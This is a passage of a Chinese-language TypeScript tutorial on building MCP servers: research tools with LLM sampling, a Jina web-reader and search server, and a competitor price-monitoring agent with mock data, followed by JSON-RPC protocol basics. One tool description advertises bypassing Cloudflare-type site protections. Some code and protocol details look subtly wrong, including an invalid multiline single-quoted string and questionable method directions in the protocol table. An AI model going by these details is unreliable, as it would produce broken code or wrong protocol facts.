async ({ params }) => {
const {
systemPrompt = '你是一个有帮助的AI助手。',
messages,
temperature = 0.7,
maxTokens = 4096,
stopSequences = [],
} = params;
console.log('[Sampling] 请求LLM生成...');
console.log(` 温度: ${temperature}`);
console.log(` 最大令牌: ${maxTokens}`);
// 实际实现中,这里会调用LLM API
// 以下是模拟实现
const generatedContent = await this.callLLM({
systemPrompt,
messages,
temperature,
maxTokens,
});
console.log('[Sampling] LLM生成完成');
return {
model: 'claude-3-5-sonnet-20240620',
role: 'assistant',
content: [
{
type: 'text',
text: generatedContent,
},
],
stopReason: 'endTurn',
};
}
);
}
/**
* 注册研究工具
*/
private registerTools() {
// 深度研究工具
this.registerTool(
'deep_research',
'执行深度研究任务,自动搜索、分析和总结信息。适用于:
- 主题调研
- 市场分析
- 技术评估
- 竞品分析',
z.object({
topic: z.string().describe('研究主题'),
depth: z.enum(['quick', 'standard', 'deep']).default('standard')
.describe('研究深度'),
sources: z.number().min(1).max(20).default(5)
.describe('信息源数量'),
}),
async ({ topic, depth, sources }) => {
console.log(`开始研究: ${topic} (深度: ${depth})`);
// 步骤1:使用采样生成搜索查询
const searchQueries = await this.generateSearchQueries(topic);
console.log(`生成搜索查询: ${searchQueries.length}个`);
// 步骤2:执行搜索(模拟)
const results = await this.performSearch(searchQueries.slice(0, sources));
// 步骤3:使用采样总结结果
const summary = await this.summarizeResults(topic, results);
// 存储结果
this.searchResults = results;
return {
content: [
{
type: 'text',
text: `# ${topic} 研究报告
## 研究深度: ${depth}
## 信息源数量: ${results.length}
${summary}
## 信息来源
${results.map((r, i) => `${i + 1}. ${r.title}`).join('\n')}
`,
},
],
};
}
);
// 继续研究工具
this.registerTool(
'continue_research',
'基于之前的研究继续深入探索',
z.object({
focusAreas: z.array(z.string()).describe('需要深入的重点领域'),
}),
async ({ focusAreas }) => {
if (this.searchResults.length === 0) {
return {
content: [{ type: 'text', text: '请先执行深度研究' }],
isError: true,
};
}
// 使用采样进行深入分析
const analysis = await this.analyzeFocusAreas(focusAreas);
return {
content: [
{
type: 'text',
text: `## 重点领域深入分析
${analysis}
`,
},
],
};
}
);
}
/**
* 生成搜索查询(使用采样)
*/
private async generateSearchQueries(topic: string): Promise<string[]> {
// 在实际实现中,这会通过sampling handler调用LLM
const response = await this.server.request(
{ method: 'sampling/createMessage' },
{
params: {
messages: [
{
role: 'user',
content: [
{
type: 'text',
text: `为研究主题 "${topic}" 生成5个有效的搜索查询。
请生成多样化的查询,覆盖:
1. 核心概念
2. 最新发展
3. 实践应用
4. 挑战和问题
5. 未来趋势
只返回查询列表,每行一个,不要编号。`,
},
],
},
],
systemPrompt: '你是一个专业的搜索策略专家。',
temperature: 0.7,
maxTokens: 500,
},
}
);
return response.content[0].text.split('\n').filter(Boolean);
}
/**
* 执行搜索(模拟)
*/
private async performSearch(queries: string[]): Promise<Array<{ title: string; content: string }>> {
// 实际实现中,这里会调用搜索API
return queries.map((query, i) => ({
title: `关于"${query}"的研究结果 ${i + 1}`,
content: `这是关于"${query}"的详细内容...`,
}));
}
/**
* 总结结果(使用采样)
*/
private async summarizeResults(
topic: string,
results: Array<{ title: string; content: string }>
): Promise<string> {
const response = await this.server.request(
{ method: 'sampling/createMessage' },
{
params: {
messages: [
{
role: 'user',
content: [
{
type: 'text',
text: `请总结以下关于"${topic}"的研究结果:
${results.map((r, i) => `[${i + 1}] ${r.title}\n${r.content}`).join('\n\n')}
请提供:
1. 核心发现(3-5点)
2. 关键洞察
3. 实用建议`,
},
],
},
],
systemPrompt: '你是一个专业的研究分析师,擅长从多个信息源提取关键洞察。',
temperature: 0.5,
maxTokens: 2000,
},
}
);
return response.content[0].text;
}
/**
* 分析重点领域(使用采样)
*/
private async analyzeFocusAreas(focusAreas: string[]): Promise<string> {
const response = await this.server.request(
{ method: 'sampling/createMessage' },
{
params: {
messages: [
{
role: 'user',
content: [
{
type: 'text',
text: `基于之前的研究结果,深入分析以下重点领域:
${focusAreas.map((area, i) => `${i + 1}. ${area}`).join('\n')}
请对每个领域提供:
- 详细分析
- 具体案例或数据
- 实际应用建议`,
},
],
},
],
systemPrompt: '你是一个专业的研究分析师,擅长深入分析和提出建议。',
temperature: 0.6,
maxTokens: 3000,
},
}
);
return response.content[0].text;
}
/**
* 调用LLM(实际实现中会调用真实API)
*/
private async callLLM(params: {
systemPrompt: string;
messages: Array<{ role: string; content: Array<{ type: string; text: string }> }>;
temperature: number;
maxTokens: number;
}): Promise<string> {
// 这里是占位实现
// 实际实现中会调用Claude/GPT等API
console.log('[LLM Call] 模拟LLM调用');
return '这是模拟的LLM响应。';
}
}
四、应用场景与实战案例
4.1 场景一:Jina MCP远程服务器
Jina AI提供了基于MCP协议的网络内容获取服务,是目前最流行的远程MCP Server之一。
4.1.1 Jina MCP架构
┌─────────────────────────────────────────────────────────────────────────┐
│ Jina MCP 远程服务器架构 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ Jina MCP Server │ │
│ │ │ │
│ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ │
│ │ │ Reader │ │ Search │ │ Summarizer │ │ │
│ │ │ 全文读取 │ │ 语义搜索 │ │ 智能摘要 │ │ │
│ │ └──────────────┘ └──────────────┘ └──────────────┘ │ │
│ │ │ │
│ │ Jina Reader API ──────▶ 网页抓取 + 内容提取 │ │
│ │ Jina Reader API ──────▶ HTML → Markdown 转换 │ │
│ │ Jina Reader API ──────▶ 提取标题/作者/发布时间 │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ HTTP/SSE 传输 │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ AI应用层 │ │
│ │ │ │
│ │ Claude ──▶ 获取网页内容 ──▶ 分析 ──▶ 回答用户问题 │ │
│ │ Cursor ──▶ 读取文档 ──▶ 代码参考 │ │
│ │ Agent ──▶ 研究任务 ──▶ 信息收集 │ │
│ │ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
4.1.2 Jina MCP Server实现
/**
* Jina MCP Server - 完整实现
*
* 提供功能:
* - jina_reader: 读取任意URL并转换为Markdown
* - jina_search: 语义搜索
* - jina_summarize: 智能摘要生成
*/
import { z } from 'zod';
/**
* Jina API 配置
*/
interface JinaConfig {
apiKey: string;
baseUrl: string;
timeout: number;
}
/**
* Jina MCP Server
*/
class JinaMCPServer extends BaseMCPServer {
private config: JinaConfig;
constructor() {
const apiKey = process.env.JINA_API_KEY;
if (!apiKey) {
console.warn('警告:未设置JINA_API_KEY,某些功能可能受限');
}
super({
name: 'jina-mcp-server',
version: '1.0.0',
transport: 'stdio',
verbose: true,
});
this.config = {
apiKey: apiKey || '',
baseUrl: 'https://r.jina.ai',
timeout: 30000,
};
this.registerTools();
this.registerPrompts();
}
/**
* 注册所有工具
*/
private registerTools() {
// 工具1:读取网页内容
this.registerTool(
'jina_reader',
`使用Jina Reader读取任意URL的内容。
功能:
- 自动抓取网页内容
- 将HTML转换为干净的Markdown
- 提取元数据(标题、作者、发布时间)
- 处理JavaScript渲染的内容
- 绕过Cloudflare等保护
适用场景:
- 读取技术文档
- 获取新闻文章
- 提取论坛内容
- 抓取API文档`,
z.object({
url: z.string().url().describe('要读取的网页URL'),
options: z.object({
includeImages: z.boolean().default(false)
.describe('是否在Markdown中包含图片'),
includeMetadata: z.boolean().default(true)
.describe('是否包含元数据'),
timeout: z.number().default(30000)
.describe('超时时间(毫秒)'),
maxLength: z.number().default(50000)
.describe('最大内容长度'),
}).optional(),
}),
async ({ url, options }) => {
console.log(`[Jina Reader] 读取: ${url}`);
try {
// 调用Jina Reader API
const response = await this.fetchWithJina(url, {
format: 'markdown',
includeImages: options?.includeImages ?? false,
});
// 提取元数据
const metadata = options?.includeMetadata ?? true
? await this.extractMetadata(url)
: null;
// 构建结果
let result = response.content;
// 截断过长内容
const maxLength = options?.maxLength ?? 50000;
if (result.length > maxLength) {
result = result.substring(0, maxLength) +
`\n\n[内容已截断,原文超过 ${maxLength} 字符]`;
}
// 格式化输出
const output = metadata
? `# ${metadata.title}\n\n` +
`> 来源: ${url}\n` +
`> ${metadata.author ? `作者: ${metadata.author}` : ''}\n` +
`${metadata.date ? `> 日期: ${metadata.date}` : ''}\n\n` +
`---\n\n` +
result
: result;
return {
content: [{ type: 'text', text: output }],
meta: {
url,
title: metadata?.title,
fetchedAt: new Date().toISOString(),
},
};
} catch (error: any) {
console.error(`[Jina Reader] 错误: ${error.message}`);
return {
content: [{
type: 'text',
text: `无法读取网页内容: ${error.message}\n\n建议:\n` +
`1. 检查URL是否正确\n` +
`2. 确认网页可公开访问\n` +
`3. 尝试稍后重试`,
}],
isError: true,
};
}
}
);
// 工具2:语义搜索
this.registerTool(
'jina_search',
`使用Jina AI进行语义搜索。
功能:
- 基于语义理解的搜索
- 返回结构化的搜索结果
- 支持高级搜索语法
- 提供相关性评分
适用场景:
- 寻找相关技术文档
- 搜索解决方案
- 发现最佳实践
- 市场调研`,
z.object({
query: z.string().min(1).max(500)
.describe('搜索查询'),
numResults: z.number().min(1).max(20).default(10)
.describe('返回结果数量'),
site: z.string().optional()
.describe('限定搜索的网站'),
recencyDays: z.number().optional()
.describe('限制为最近N天内的结果'),
}),
async ({ query, numResults, site, recencyDays }) => {
console.log(`[Jina Search] 查询: ${query}`);
try {
// 构建搜索URL
let searchUrl = `https://s.jina.ai/${encodeURIComponent(query)}`;
const params = new URLSearchParams();
params.set('numResults', numResults.toString());
if (site) {
params.set('site', site);
}
if (recencyDays) {
params.set('recencyDays', recencyDays.toString());
}
searchUrl += `?${params.toString()}`;
// 调用搜索API
const results = await this.performSearch(searchUrl);
// 格式化结果
const formattedResults = results.map((result, index) =>
`${index + 1}. **${result.title}**\n` +
` URL: ${result.url}\n` +
` 摘要: ${result.snippet}\n` +
` 相关度: ${(result.score * 100).toFixed(1)}%\n`
).join('\n');
const summary = `## 搜索结果: "${query}"\n\n` +
`找到 ${results.length} 个相关结果:\n\n` +
formattedResults + '\n\n' +
`---\n*由 Jina AI 提供支持*`;
return {
content: [{ type: 'text', text: summary }],
};
} catch (error: any) {
console.error(`[Jina Search] 错误: ${error.message}`);
return {
content: [{
type: 'text',
text: `搜索失败: ${error.message}`,
}],
isError: true,
};
}
}
);
// 工具3:内容摘要
this.registerTool(
'jina_summarize',
`使用Jina AI对长内容进行智能摘要。
功能:
- 提取关键信息
- 生成简洁摘要
- 保留核心要点
- 支持多种摘要长度
适用场景:
- 长文章快速了解
- 会议记录摘要
- 文档快速预览
- 信息压缩`,
z.object({
content: z.string().describe('要摘要的内容'),
length: z.enum(['short', 'medium', 'long']).default('medium')
.describe('摘要长度'),
focus: z.string().optional()
.describe('摘要重点(如"技术细节"、"价格信息")'),
}),
async ({ content, length, focus }) => {
console.log(`[Jina Summarize] 摘要长度: ${length}`);
try {
// 调用Jina Summarizer API
const summary = await this.summarizeContent(content, {
length,
focus,
});
return {
content: [{
type: 'text',
text: `## 内容摘要 (${length})\n\n${summary}\n\n---\n*摘要由 Jina AI 生成*`,
}],
};
} catch (error: any) {
console.error(`[Jina Summarize] 错误: ${error.message}`);
return {
content: [{
type: 'text',
text: `摘要生成失败: ${error.message}`,
}],
isError: true,
};
}
}
);
}
/**
* 注册提示模板
*/
private registerPrompts() {
// 研究报告模板
this.registerPrompt(
'research_report',
'生成结构化的研究报告',
[
{
name: 'topic',
description: '研究主题',
required: true,
},
{
name: 'depth',
description: '研究深度',
required: false,
},
],
async ({ topic, depth }) => {
return [
{
role: 'user',
content: [{
type: 'text',
text: `请为以下主题生成一份研究报告:
主题:${topic}
深度:${depth || '标准'}
报告结构:
1. 执行摘要
2. 背景介绍
3. 核心分析
4. 主要发现
5. 建议与结论
请使用Jina Reader获取相关信息,确保内容准确、有据可查。`,
}],
},
];
}
);
}
/**
* 使用Jina Reader获取网页
*/
private async fetchWithJina(
url: string,
options: { format: string; includeImages?: boolean }
): Promise<{ content: string }> {
const fetchUrl = `${this.config.baseUrl}/${encodeURIComponent(url)}`;
const response = await fetch(fetchUrl, {
headers: {
'Accept': options.format === 'markdown' ? 'text/markdown' : 'text/html',
...(this.config.apiKey && { 'Authorization': `Bearer ${this.config.apiKey}` }),
},
signal: AbortSignal.timeout(this.config.timeout),
});
if (!response.ok) {
throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}
const content = await response.text();
return { content };
}
/**
* 提取网页元数据
*/
private async extractMetadata(url: string): Promise<{
title: string;
author?: string;
date?: string;
}> {
try {
// 解析URL获取域名
const urlObj = new URL(url);
return {
title: urlObj.hostname,
author: undefined,
date: new Date().toLocaleDateString('zh-CN'),
};
} catch {
return { title: url };
}
}
/**
* 执行搜索
*/
private async performSearch(searchUrl: string): Promise<Array<{
title: string;
url: string;
snippet: string;
score: number;
}>> {
const response = await fetch(searchUrl, {
headers: {
'Accept': 'application/json',
...(this.config.apiKey && { 'Authorization': `Bearer ${this.config.apiKey}` }),
},
});
if (!response.ok) {
throw new Error(`搜索失败: HTTP ${response.status}`);
}
const data = await response.json();
return (data.results || []).map((result: any) => ({
title: result.title || '无标题',
url: result.url,
snippet: result.snippet || result.description || '',
score: result.score || 0.5,
}));
}
/**
* 摘要内容
*/
private async summarizeContent(
content: string,
options: { length: string; focus?: string }
): Promise<string> {
// 简化实现:实际应调用Jina Summarizer API
const maxLengths = {
short: 100,
medium: 300,
long: 500,
};
const maxLength = maxLengths[options.length as keyof typeof maxLengths] || 300;
// 简单的截断摘要
const sentences = content.split(/[.!?]+/).filter(s => s.trim());
let summary = '';
let currentLength = 0;
for (const sentence of sentences) {
if (currentLength + sentence.length > maxLength) {
break;
}
summary += sentence + '. ';
currentLength += sentence.length;
}
return summary.trim() || content.substring(0, maxLength) + '...';
}
}
// 启动服务器
const server = new JinaMCPServer();
server.start().catch(console.error);
4.2 场景二:价格优化Agent
使用MCP构建一个能够监控竞品价格并提供优化建议的智能Agent。
4.2.1 价格优化Agent架构
┌─────────────────────────────────────────────────────────────────────────┐
│ 价格优化Agent架构 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 价格优化Agent (MCP Client) │ │
│ │ │ │
│ │ 用户查询 ──▶ 理解意图 ──▶ 制定计划 ──▶ 调用工具 │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ ┌────────────────┐ │ │
│ │ │ 任务规划器 │ │ │
│ │ │ - 价格监控 │ │ │
│ │ │ - 竞品分析 │ │ │
│ │ │ - 定价优化 │ │ │
│ │ └────────────────┘ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │ │
│ ┌──────────────────────────┼──────────────────────────┐ │
│ ▼ ▼ ▼ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Web Scraper │ │ Database │ │ Analytics │ │
│ │ MCP Server │ │ MCP Server │ │ MCP Server │ │
│ │ │ │ │ │ │ │
│ │ - 抓取竞品 │ │ - 查询历史 │ │ - 趋势分析 │ │
│ │ - 价格追踪 │ │ - 存储数据 │ │ - 价格弹性 │ │
│ │ - 库存监控 │ │ - 生成报表 │ │ - 优化建议 │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
4.2.2 完整实现
/**
* 价格优化Agent - 完整实现
*
* 核心功能:
* 1. 竞品价格监控
* 2. 价格历史分析
* 3. 智能定价建议
* 4. 动态价格调整
*/
import { z } from 'zod';
/**
* 产品价格信息
*/
interface PriceInfo {
productId: string;
productName: string;
currentPrice: number;
originalPrice: number;
currency: string;
discount: number;
timestamp: Date;
source: string;
}
/**
* 价格分析结果
*/
interface PriceAnalysis {
productId: string;
currentPrice: number;
competitors: Array<{
name: string;
price: number;
difference: number;
percentage: number;
}>;
demandIndicator: 'high' | 'medium' | 'low';
recommendedPrice: number;
confidence: number;
reasons: string[];
}
/**
* Web Scraper MCP Server
*/
class WebScraperMCPServer extends BaseMCPServer {
constructor() {
super({
name: 'web-scraper',
version: '1.0.0',
transport: 'stdio',
});
this.registerTools();
}
private registerTools() {
// 抓取竞品价格
this.registerTool(
'scrape_competitor_prices',
'抓取竞争对手网站的产品价格',
z.object({
competitor: z.enum(['amazon', 'jd', 'taobao', 'pdd', 'tmall'])
.describe('竞争平台'),
productKeywords: z.string().describe('产品关键词'),
maxResults: z.number().default(10).describe('最大结果数'),
}),
async ({ competitor, productKeywords, maxResults }) => {
// 实际实现中会调用对应平台的API或爬虫
const mockResults = this.generateMockPriceData(competitor, productKeywords, maxResults);
return {
content: [{
type: 'text',
text: JSON.stringify(mockResults, null, 2),
}],
};
}
);
// 监控价格变动
this.registerTool(
'monitor_price_change',
'设置价格监控,当价格变动时通知',
z.object({
productUrl: z.string().url().describe('产品页面URL'),
targetPrice: z.number().optional().describe('目标价格(可选)'),
notifyOnDrop: z.boolean().default(true).describe('降价时通知'),
}),
async ({ productUrl, targetPrice, notifyOnDrop }) => {
return {
content: [{
type: 'text',
text: `价格监控已设置:\n` +
`- 产品: ${productUrl}\n` +
`- 目标价格: ${targetPrice || '未设置'}\n` +
`- 降价通知: ${notifyOnDrop ? '开启' : '关闭'}`,
}],
};
}
);
}
private generateMockPriceData(competitor: string, keywords: string, count: number) {
return Array.from({ length: count }, (_, i) => ({
productName: `${keywords} 产品 ${i + 1}`,
price: Math.round((Math.random() * 500 + 50) * 100) / 100,
originalPrice: Math.round((Math.random() * 800 + 100) * 100) / 100,
discount: Math.round(Math.random() * 30 + 10),
seller: `${competitor} 卖家${i + 1}`,
rating: Math.round((Math.random() * 2 + 3) * 10) / 10,
reviews: Math.floor(Math.random() * 10000),
url: `https://${competitor}.com/product/${i + 1}`,
}));
}
}
/**
* Database MCP Server - 价格数据存储和分析
*/
class PriceDatabaseMCPServer extends BaseMCPServer {
private prices: Map<string, PriceInfo[]> = new Map();
constructor() {
super({
name: 'price-database',
version: '1.0.0',
transport: 'stdio',
});
this.registerTools();
}
private registerTools() {
// 存储价格数据
this.registerTool(
'store_price_data',
'存储价格数据用于后续分析',
z.object({
productId: z.string().describe('产品ID'),
productName: z.string().describe('产品名称'),
currentPrice: z.number().positive().describe('当前价格'),
originalPrice: z.number().positive().describe('原价'),
currency: z.string().default('CNY').describe('货币类型'),
source: z.string().describe('数据来源'),
}),
async ({ productId, productName, currentPrice, originalPrice, currency, source }) => {
const priceInfo: PriceInfo = {
productId,
productName,
currentPrice,
originalPrice,
currency,
discount: Math.round((1 - currentPrice / originalPrice) * 100),
timestamp: new Date(),
source,
};
if (!this.prices.has(productId)) {
this.prices.set(productId, []);
}
this.prices.get(productId)!.push(priceInfo);
return {
content: [{
type: 'text',
text: `价格数据已存储:\n- 产品: ${productName}\n- 价格: ${currentPrice} ${currency}\n- 折扣: ${priceInfo.discount}%`,
}],
};
}
);
// 查询价格历史
this.registerTool(
'query_price_history',
'查询产品的价格历史记录',
z.object({
productId: z.string().describe('产品ID'),
days: z.number().default(30).describe('查询天数'),
}),
async ({ productId, days }) => {
const history = this.prices.get(productId) || [];
const cutoffDate = new Date();
cutoffDate.setDate(cutoffDate.getDate() - days);
const filteredHistory = history.filter(p => p.timestamp >= cutoffDate);
if (filteredHistory.length === 0) {
return {
content: [{
type: 'text',
text: `未找到产品 ${productId} 在过去 ${days} 天的价格数据`,
}],
};
}
const stats = {
productId,
period: `最近${days}天`,
dataPoints: filteredHistory.length,
minPrice: Math.min(...filteredHistory.map(p => p.currentPrice)),
maxPrice: Math.max(...filteredHistory.map(p => p.currentPrice)),
avgPrice: Math.round(
filteredHistory.reduce((sum, p) => sum + p.currentPrice, 0) / filteredHistory.length * 100
) / 100,
priceTrend: this.calculateTrend(filteredHistory),
history: filteredHistory.map(p => ({
date: p.timestamp.toISOString(),
price: p.currentPrice,
source: p.source,
})),
};
return {
content: [{
type: 'text',
text: JSON.stringify(stats, null, 2),
}],
};
}
);
// 生成价格报告
this.registerTool(
'generate_price_report',
'生成价格分析报告',
z.object({
productIds: z.array(z.string()).describe('产品ID列表'),
includeCompetitors: z.boolean().default(true).describe('是否包含竞品分析'),
}),
async ({ productIds, includeCompetitors }) => {
const report = {
generatedAt: new Date().toISOString(),
products: productIds.map(id => {
const history = this.prices.get(id) || [];
if (history.length === 0) {
return { productId: id, status: '无数据' };
}
const latest = history[history.length - 1];
return {
productId: id,
productName: latest.productName,
currentPrice: latest.currentPrice,
lowestPrice: Math.min(...history.map(p => p.currentPrice)),
highestPrice: Math.max(...history.map(p => p.currentPrice)),
avgPrice: Math.round(
history.reduce((sum, p) => sum + p.currentPrice, 0) / history.length * 100
) / 100,
trend: this.calculateTrend(history),
recommendation: this.generateRecommendation(history),
};
}),
};
return {
content: [{
type: 'text',
text: JSON.stringify(report, null, 2),
}],
};
}
);
}
private calculateTrend(history: PriceInfo[]): 'rising' | 'stable' | 'falling' {
if (history.length < 2) return 'stable';
const recentPrices = history.slice(-5);
const first = recentPrices[0].currentPrice;
const last = recentPrices[recentPrices.length - 1].currentPrice;
const change = (last - first) / first;
if (change > 0.05) return 'rising';
if (change < -0.05) return 'falling';
return 'stable';
}
private generateRecommendation(history: PriceInfo[]): string {
const trend = this.calculateTrend(history);
if (trend === 'rising') {
return '建议:价格呈上升趋势,可考虑适当上调';
} else if (trend === 'falling') {
return '建议:价格呈下降趋势,可考虑促销刺激需求';
} else {
return '建议:价格稳定,维持当前定价策略';
}
}
}
/**
* Analytics MCP Server - 价格分析和优化
*/
class PriceAnalyticsMCPServer extends BaseMCPServer {
constructor() {
super({
name: 'price-analytics',
version: '1.0.0',
transport: 'stdio',
});
this.registerTools();
}
private registerTools() {
// 分析价格竞争力
this.registerTool(
'analyze_price_competitiveness',
'分析产品相对于竞品的定价竞争力',
z.object({
productId: z.string().describe('产品ID'),
myPrice: z.number().positive().describe('我方价格'),
competitorPrices: z.array(z.object({
name: z.string().describe('竞品名称'),
price: z.number().positive().describe('竞品价格'),
})).describe('竞品价格列表'),
}),
async ({ productId, myPrice, competitorPrices }) => {
const avgCompetitorPrice = competitorPrices.reduce((sum, c) => sum + c.price, 0) / competitorPrices.length;
const minCompetitorPrice = Math.min(...competitorPrices.map(c => c.price));
const maxCompetitorPrice = Math.max(...competitorPrices.map(c => c.price));
const difference = myPrice - avgCompetitorPrice;
const percentage = (difference / avgCompetitorPrice) * 100;
let competitiveness: 'very_high' | 'high' | 'medium' | 'low';
let recommendation: string;
if (percentage < -10) {
competitiveness = 'very_high';
recommendation = '定价显著低于市场,可适当上调以提升利润';
} else if (percentage < 0) {
competitiveness = 'high';
recommendation = '定价具有竞争力,考虑保持当前价格';
} else if (percentage < 10) {
competitiveness = 'medium';
recommendation = '定价略高于市场,建议关注竞品动向';
} else {
competitiveness = 'low';
recommendation = '定价显著高于市场,建议降价以提升竞争力';
}
const analysis: PriceAnalysis = {
productId,
currentPrice: myPrice,
competitors: competitorPrices.map(c => ({
name: c.name,
price: c.price,
difference: c.price - myPrice,
percentage: ((c.price - myPrice) / myPrice) * 100,
})),
demandIndicator: 'medium',
recommendedPrice: Math.round(avgCompetitorPrice * 100) / 100,
confidence: 0.85,
reasons: [
`平均竞品价格: ${avgCompetitorPrice.toFixed(2)}`,
`最低竞品价格: ${minCompetitorPrice.toFixed(2)}`,
`最高竞品价格: ${maxCompetitorPrice.toFixed(2)}`,
`与市场均价差异: ${percentage.toFixed(1)}%`,
],
};
return {
content: [{
type: 'text',
text: `# 价格竞争力分析\n\n` +
`## 竞争力评级: ${competitiveness}\n\n` +
`## 竞品对比\n` +
`| 竞品 | 价格 | 差异 |\n` +
`|------|------|------|\n` +
competitorPrices.map(c =>
`| ${c.name} | ${c.price} | ${(c.price - myPrice) > 0 ? '+' : ''}${(c.price - myPrice).toFixed(2)} |`
).join('\n') +
`\n\n## 分析结果\n` +
`- 你的价格: ${myPrice}\n` +
`- 市场均价: ${avgCompetitorPrice.toFixed(2)}\n` +
`- 差异: ${percentage > 0 ? '+' : ''}${percentage.toFixed(1)}%\n\n` +
`## 建议\n${recommendation}\n` +
`\n---\n建议价格: ${analysis.recommendedPrice} (基于市场均价)`,
}],
};
}
);
// 计算最优价格
this.registerTool(
'calculate_optimal_price',
'基于价格弹性和成本计算最优价格',
z.object({
productId: z.string().describe('产品ID'),
cost: z.number().positive().describe('产品成本'),
currentPrice: z.number().positive().describe('当前价格'),
targetMargin: z.number().min(0).max(100).default(30)
.describe('目标利润率(百分比)'),
priceRange: z.object({
min: z.number().positive().describe('最低价格'),
max: z.number().positive().describe('最高价格'),
}).describe('价格范围'),
}),
async ({ productId, cost, currentPrice, targetMargin, priceRange }) => {
// 模拟价格弹性分析
// 实际实现中会使用历史销售数据和机器学习模型
const targetPrice = cost * (1 + targetMargin / 100);
// 计算在不同价格点的预期收益
const pricePoints = [];
const step = (priceRange.max - priceRange.min) / 10;
for (let price = priceRange.min; price <= priceRange.max; price += step) {
const expectedVolume = Math.max(0, 100 - (price - priceRange.min) / step * 10);
const revenue = price * expectedVolume;
const profit = (price - cost) * expectedVolume;
pricePoints.push({
price: Math.round(price * 100) / 100,
expectedVolume: Math.round(expectedVolume),
revenue: Math.round(revenue * 100) / 100,
profit: Math.round(profit * 100) / 100,
margin: Math.round((price - cost) / price * 100),
});
}
// 找出最优价格
const optimal = pricePoints.reduce((best, current) =>
current.profit > best.profit ? current : best
);
return {
content: [{
type: 'text',
text: `# 最优价格计算\n\n` +
`## 产品信息\n` +
`- 产品ID: ${productId}\n` +
`- 成本: ${cost}\n` +
`- 当前价格: ${currentPrice}\n` +
`- 目标利润率: ${targetMargin}%\n\n` +
`## 最优价格分析\n` +
`- 目标价格: ${targetPrice.toFixed(2)}\n` +
`- 最优价格: ${optimal.price}\n` +
`- 预期销量: ${optimal.expectedVolume}\n` +
`- 预期利润: ${optimal.profit}\n` +
`- 利润率: ${optimal.margin}%\n\n` +
`## 价格-利润对照表\n` +
`| 价格 | 预期销量 | 收入 | 利润 | 利润率 |\n` +
`|------|---------|------|------|--------|\n` +
pricePoints.map(p =>
`| ${p.price} | ${p.expectedVolume} | ${p.revenue} | ${p.profit} | ${p.margin}% |`
).join('\n') +
`\n\n## 建议\n当前价格 ${currentPrice} ${currentPrice <= optimal.price ? '低于' : '高于'} 最优价格。` +
`建议调整至 ${optimal.price} 以获得最大利润。`,
}],
};
}
);
}
}
五、协议通信原理
5.1 JSON-RPC 2.0基础
MCP底层使用JSON-RPC 2.0作为通信协议,这是一种轻量级的远程过程调用协议。
/**
* JSON-RPC 2.0 消息类型定义
*/
// 请求消息
interface JSONRPCRequest {
/** JSON-RPC版本,必须是 "2.0" */
jsonrpc: "2.0";
/** 方法名 */
method: string;
/** 方法参数(对象或数组) */
params?: Record<string, unknown> | unknown[];
/** 请求ID,用于匹配响应 */
id: string | number;
}
// 响应消息 - 成功
interface JSONRPCSuccessResponse {
jsonrpc: "2.0";
/** 响应结果 */
result: unknown;
/** 对应请求的ID */
id: string | number;
}
// 响应消息 - 错误
interface JSONRPCErrorResponse {
jsonrpc: "2.0";
/** 错误对象 */
error: {
/** 错误代码 */
code: number;
/** 错误消息 */
message: string;
/** 附加数据 */
data?: unknown;
};
/** 对应请求的ID */
id: string | number;
}
// 通知消息(无响应)
interface JSONRPCNotification {
jsonrpc: "2.0";
method: string;
params?: Record<string, unknown>;
}
/**
* JSON-RPC 错误代码
*/
enum JSONRPCErrorCode {
// 解析错误 - 无效的JSON
ParseError = -32700,
// 无效请求 - JSON有效但不是有效请求
InvalidRequest = -32600,
// 方法不存在
MethodNotFound = -32601,
// 无效参数
InvalidParams = -32602,
// 内部错误
InternalError = -32603,
// 服务器错误(-32000 到 -32099)
ServerError = -32000,
}
5.2 核心协议方法一览
| 方法 | 方向 | 描述 | 参数 |
|---|---|---|---|
initialize | Client→Server | 初始化连接,交换版本信息 | protocolVersion, capabilities, clientInfo |
initialized | Client→Server | 握手完成通知 | - |
tools/list | Client→Server | 获取可用工具列表 | - |
tools/call | Client→Server | 调用指定工具 | name, arguments |
tools/updated | Server→Client | 工具列表更新通知 | - |
resources/list | Client→Server | 获取可用资源列表 | - |
resources/read | Client→Server | 读取资源内容 | uri |
resources/subscribe | Client→Server | 订阅资源变更 | uri |
resources/unsubscribe | Client→Server | 取消订阅 | uri |
resources/updated | Server→Client | 资源变更通知 | uri |
prompts/list | Client→Server | 获取可用提示模板 | - |
prompts/get | Client→Server | 获取指定提示 | name, arguments |
sampling/createMessage | Server→Client | 请求LLM生成 | messages, params |
roots/list | Client→Server | 获取根目录列表 | - |
roots/list_changed | Server→Client | 根目录变更通知 | - |
ping | Client→Server | 连接测试 | - |
5.3 完整的通信流程
┌─────────────────────────────────────────────────────────────────────────┐
│ MCP 完整通信流程 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ 时间线 │
│ ──────────────────────────────────────────────────────────────────── │
│ │
│ 阶段1:连接建立 │
│ ──────────────────────────────────────────────────────────────────── │
│ │
│ Client Server │
│ │ │ │
│ │ ──── stdio connect ───────────────▶│ 建立传输层连接 │
│ │ │ │
│ │ │ │
│ 阶段2:协议握手 │
│ ──────────────────────────────────────────────────────────────────── │
│ │
│ │ ──── initialize ─────────────────▶│ 发送初始化请求 │
│ │ { │ │
│ │ jsonrpc: "2.0", │ │
│ │ method: "initialize", │ │
│ │ params: { │ │
│ │ protocolVersion: "2024-11-05",│ │
│ │ capabilities: {...}, │ │
│ │ clientInfo: {...} │ │
│ │ }, │ │
│ │ id: 1 │ │
│ │ } │ │
│ │ │ │
│ │◀──── { │ 返回Server能力 │
│ │ jsonrpc: "2.0", │ │
│ │ result: { │ │
│ │ protocolVersion: "2024-11-05",│ │
